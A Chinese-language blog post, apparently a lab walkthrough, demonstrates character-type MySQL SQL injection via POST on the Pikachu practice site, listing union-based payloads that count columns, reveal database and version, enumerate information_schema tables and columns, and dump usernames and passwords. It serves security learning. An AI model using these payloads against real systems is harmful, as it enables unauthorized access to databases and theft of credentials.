SQL注入(二):pikachu(一):MySQL字符型注入(post) --- 字符型注入

pikachu 练习站点;有需要站点的联系本人;

1、判断字段
SQL命令:
a' order by 1#'
查询到第3个时,显示不正常,则有两个字段;
数据库执行的命令:
select * from 表名 where username = 'a' order by 1#'

2、显示占位的数字,在网页上面可以显示看到数字能够显示的内容:
union联合查询中,前面的查询结果和后面的查询结果都为真的,则都会显示。如果前面的查询结果是假的,则只会显示后面的查询结果,
如果都为真,则前面后面都可以查询;    
若输入的名字原来有,则会显示,原先的和后面语句该显示的内容;
SQL命令:
a' union select 1,2#'   前面不正确则会显示,则会显示后面
数据库执行命令:
select * from 表名 where username='a' union select 1,2#'

3、在所占的位置上面查看数据库和版本:
SQL命令:
a' union select database(),version()#'
数据库命令:
select * from 表名 where username='a' union select database(),version()#'

4、查看数据表:
table_schema是数据库的名称;
table_name是具体的表名;
table_type指的是表的类型;
SQL命令:
a' union select table_schema,table_name from information_schema.tables where table_schema="pikachu"#'
数据库命令:
select * from 表名 where username='a' union select table_schema,table_name from information_schema.tables where table_schema="pikachu"#'

5、查看数据列:
column_name 是数据列名称;
SQL命令:
a' union select table_name,column_name from information_schema.columns where table_name="users"#'
数据库命令:
select * from 表名 where username='a' union select table_schema,column_name from information_schema.columns where table_name="users"#'

6、查看数据:
SQL命令:
a' union select username,password from users#'
数据库命令:
select * from 表名 where username='a' union select username,password from users#'


发布了49 篇原创文章 · 获赞 2 · 访问量 1521

猜你喜欢

转载自blog.csdn.net/weixin_45273343/article/details/102670746
今日推荐